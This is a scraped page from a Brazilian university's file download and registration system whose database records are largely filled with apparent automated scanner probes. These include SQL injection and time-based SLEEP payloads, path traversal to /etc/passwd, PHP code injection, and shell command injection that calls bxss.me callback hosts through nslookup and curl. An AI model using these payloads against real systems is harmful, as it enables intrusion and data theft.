DOWNLOAD 2

NOVO CADASTRO

Categorias:
Ano:
Descrição:
Arquivo:


   





Artigo:

Pesquisa......:

2993 cadastros armazenados

  Categoria     Ano     Descrição  
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
!(()&&!|*|*| 1 1
!(()&&!|*|*| 1 1
!(()&&!|*|*| 1 1
"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(107).CONCAT 1 1
"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(110).CONCAT 1 1
"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(113).CONCAT 1 1
"+RESPONSE.WRITE(9191864*9650203)+" 1 1
"+RESPONSE.WRITE(9569871*9430863)+" 1 1
"+RESPONSE.WRITE(9817943*9977677)+" 1 1
".GETHOSTBYNAME(LC("HITAR"."ZUTWFEKK8AC28.BXSS.ME. 1 1
".GETHOSTBYNAME(LC("HITPR"."RZGCPHXKE5A46.BXSS.ME. 1 1
".GETHOSTBYNAME(LC("HITYE"."VGFAMHMF1F278.BXSS.ME. 1 1
";PRINT(MD5(31337));$A=" 1 1
";PRINT(MD5(31337));$A=" 1 1
";PRINT(MD5(31337));$A=" 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
"DFBZZZZZZZZBBBCCCCDDDEEEXCA".REPLACE("Z","O") 1 1
$(NSLOOKUP -Q=CNAME HITHXUDBAPUXS03928.BXSS.ME||CU 1 1
$(NSLOOKUP -Q=CNAME HITPCYHVXFGLR2B034.BXSS.ME||CU 1 1
$(NSLOOKUP -Q=CNAME HITQSVYUEFFOE8E0C9.BXSS.ME||CU 1 1
${10000430+9999890} 1 1
${10000454+9999268} 1 1
${9999990+9999852} 1 1
${@PRINT(MD5(31337))} 1 1
${@PRINT(MD5(31337))} 1 1
${@PRINT(MD5(31337))} 1 1
(NSLOOKUP -Q=CNAME HITBFQTVBMTZRBC7BD.BXSS.ME||CUR 1 1
(NSLOOKUP -Q=CNAME HITCIESKUSDODD1F00.BXSS.ME||CUR 1 1
(NSLOOKUP -Q=CNAME HITKLGWKBQEKV2F40A.BXSS.ME||CUR 1 1
) 1 1
) 1 1
) 1 1
)))))))))))))))))))))))))))))))))))))))))))))))))) 1 1
)))))))))))))))))))))))))))))))))))))))))))))))))) 1 1
)))))))))))))))))))))))))))))))))))))))))))))))))) 1 1
-1 OR 2+147-147-1=0+0+0+1 1 1
-1 OR 2+148-148-1=0+0+0+1 -- 1 1
-1 OR 2+191-191-1=0+0+0+1 -- 1 1
-1 OR 2+297-297-1=0+0+0+1 -- 1 1
-1 OR 2+362-362-1=0+0+0+1 1 1
-1 OR 2+403-403-1=0+0+0+1 -- 1 1
-1 OR 2+416-416-1=0+0+0+1 1 1
-1 OR 2+482-482-1=0+0+0+1 1 1
-1 OR 2+541-541-1=0+0+0+1 -- 1 1
-1 OR 2+633-633-1=0+0+0+1 -- 1 1
-1 OR 2+642-642-1=0+0+0+1 1 1
-1 OR 2+87-87-1=0+0+0+1 1 1
-1 OR 3*2<(0+5+147-147) 1 1
-1 OR 3*2<(0+5+148-148) -- 1 1
-1 OR 3*2<(0+5+191-191) -- 1 1
-1 OR 3*2<(0+5+297-297) -- 1 1
-1 OR 3*2<(0+5+362-362) 1 1
-1 OR 3*2<(0+5+403-403) -- 1 1
-1 OR 3*2<(0+5+416-416) 1 1
-1 OR 3*2<(0+5+482-482) 1 1
-1 OR 3*2<(0+5+541-541) -- 1 1
-1 OR 3*2<(0+5+633-633) -- 1 1
-1 OR 3*2<(0+5+642-642) 1 1
-1 OR 3*2<(0+5+87-87) 1 1
-1 OR 3*2>(0+5+147-147) 1 1
-1 OR 3*2>(0+5+148-148) -- 1 1
-1 OR 3*2>(0+5+191-191) -- 1 1
-1 OR 3*2>(0+5+297-297) -- 1 1
-1 OR 3*2>(0+5+362-362) 1 1
-1 OR 3*2>(0+5+403-403) -- 1 1
-1 OR 3*2>(0+5+416-416) 1 1
-1 OR 3*2>(0+5+482-482) 1 1
-1 OR 3*2>(0+5+541-541) -- 1 1
-1 OR 3*2>(0+5+633-633) -- 1 1
-1 OR 3*2>(0+5+642-642) 1 1
-1 OR 3*2>(0+5+87-87) 1 1
-1 OR 3+147-147-1=0+0+0+1 1 1
-1 OR 3+148-148-1=0+0+0+1 -- 1 1
-1 OR 3+191-191-1=0+0+0+1 -- 1 1
-1 OR 3+297-297-1=0+0+0+1 -- 1 1
-1 OR 3+362-362-1=0+0+0+1 1 1
-1 OR 3+403-403-1=0+0+0+1 -- 1 1
-1 OR 3+416-416-1=0+0+0+1 1 1
-1 OR 3+482-482-1=0+0+0+1 1 1
-1 OR 3+541-541-1=0+0+0+1 -- 1 1
-1 OR 3+633-633-1=0+0+0+1 -- 1 1
-1 OR 3+642-642-1=0+0+0+1 1 1
-1 OR 3+87-87-1=0+0+0+1 1 1
-1" OR 2+235-235-1=0+0+0+1 -- 1 1
-1" OR 2+425-425-1=0+0+0+1 -- 1 1
-1" OR 2+709-709-1=0+0+0+1 -- 1 1
-1" OR 2+729-729-1=0+0+0+1 -- 1 1
-1" OR 2+783-783-1=0+0+0+1 -- 1 1
-1" OR 2+935-935-1=0+0+0+1 -- 1 1
-1" OR 3*2<(0+5+235-235) -- 1 1
-1" OR 3*2<(0+5+425-425) -- 1 1
-1" OR 3*2<(0+5+709-709) -- 1 1
-1" OR 3*2<(0+5+729-729) -- 1 1
-1" OR 3*2<(0+5+783-783) -- 1 1
-1" OR 3*2<(0+5+935-935) -- 1 1
-1" OR 3*2>(0+5+235-235) -- 1 1
-1" OR 3*2>(0+5+425-425) -- 1 1
-1" OR 3*2>(0+5+709-709) -- 1 1
-1" OR 3*2>(0+5+729-729) -- 1 1
-1" OR 3*2>(0+5+783-783) -- 1 1
-1" OR 3*2>(0+5+935-935) -- 1 1
-1" OR 3+235-235-1=0+0+0+1 -- 1 1
-1" OR 3+425-425-1=0+0+0+1 -- 1 1
-1" OR 3+709-709-1=0+0+0+1 -- 1 1
-1" OR 3+729-729-1=0+0+0+1 -- 1 1
-1" OR 3+783-783-1=0+0+0+1 -- 1 1
-1" OR 3+935-935-1=0+0+0+1 -- 1 1
../../../../../../../../../../../../../../ETC/PASS 1 1
../../../../../../../../../../../../../../ETC/PASS 1 1
../../../../../../../../../../../../../../ETC/PASS 1 1
../../../../../../../../../../../../../../WINDOWS/ 1 1
../../../../../../../../../../../../../../WINDOWS/ 1 1
../../../../../../../../../../../../../../WINDOWS/ 1 1
../CORRELACIONADOS 1 1
../NBA 1 1
../NBA 1 1
./CORRELACIONADOS 1 1
./NBA 1 1
./NBA 1 1
/ETC/SHELLS 1 1
/ETC/SHELLS 1 1
/ETC/SHELLS 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0 1 1
0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z 1 1
0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z 1 1
1 1 -1 OR 2+208-208-1=0+0+0+1
1 1 -1 OR 2+752-752-1=0+0+0+1
1 1 -1 OR 2+941-941-1=0+0+0+1 --
1 1 -1 OR 2+943-943-1=0+0+0+1 --
1 1 -1 OR 3*2<(0+5+208-208)
1 1 -1 OR 3*2<(0+5+752-752)
1 1 -1 OR 3*2<(0+5+941-941) --
1 1 -1 OR 3*2<(0+5+943-943) --
1 1 -1 OR 3*2>(0+5+208-208)
1 1 -1 OR 3*2>(0+5+752-752)
1 1 -1 OR 3*2>(0+5+941-941) --
1 1 -1 OR 3*2>(0+5+943-943) --
1 1 -1 OR 3+208-208-1=0+0+0+1
1 1 -1 OR 3+752-752-1=0+0+0+1
1 1 -1 OR 3+941-941-1=0+0+0+1 --
1 1 -1 OR 3+943-943-1=0+0+0+1 --
1 1 -1" OR 2+367-367-1=0+0+0+1 --
1 1 -1" OR 2+528-528-1=0+0+0+1 --
1 1 -1" OR 3*2<(0+5+367-367) --
1 1 -1" OR 3*2<(0+5+528-528) --
1 1 -1" OR 3*2>(0+5+367-367) --
1 1 -1" OR 3*2>(0+5+528-528) --
1 1 -1" OR 3+367-367-1=0+0+0+1 --
1 1 -1" OR 3+528-528-1=0+0+0+1 --
1 1 -1)) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
1 1 -5 OR 323=(SELECT 323 FROM PG_SLEEP(15))--
1 1 -5) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0
1 1 0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z
1 1 1%2527%2522
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 1 @@QK5U1
1 1 IF(NOW()=SYSDATE(),SLEEP(15),0)
1 1 IF(NOW()=SYSDATE(),SLEEP(15),0)
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 0 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -1 1
1 -5 1
1 -5 1
1 -5 1
1 -5 1
1L5V0YZ8O 1 1
1V3T7FXLO 1 1
1YRPHMGDPGULASZRIYLQIIPEMEFMACAFKXYCJAXJS%00.JPG 1 1
1YRPHMGDPGULASZRIYLQIIPEMEFMACAFKXYCJAXJS%00.JPG 1 1
1YRPHMGDPGULASZRIYLQIIPEMEFMACAFKXYCJAXJS%00.JPG 1 1
;(NSLOOKUP -Q=CNAME HITCTUAMABDWMC4F72.BXSS.ME||CU 1 1
;(NSLOOKUP -Q=CNAME HITIQLNGQCTIUDDE63.BXSS.ME||CU 1 1
;(NSLOOKUP -Q=CNAME HITRUTWXBTQMW4573A.BXSS.ME||CU 1 1
. :: SYSTEM TRAINING IN VISUAL ACUITY - SiTAV ::.
STATE UNIVERSITY MARINGÁ - UEM
CENTER FOR APPLIED RESEARCH IN BIOTECHNOLOGY - NBA

Av Colombo, 5790 - Jd. University - 87020-900 - Maringá - Paraná - Brazil
www.uem.br - sec-dag@uem.br - (44) 3011-1322


    by Hudson Souza - hudsonss@gmail.com

CopyRight © 2012-2024  | SiTAV - version: 2.8 |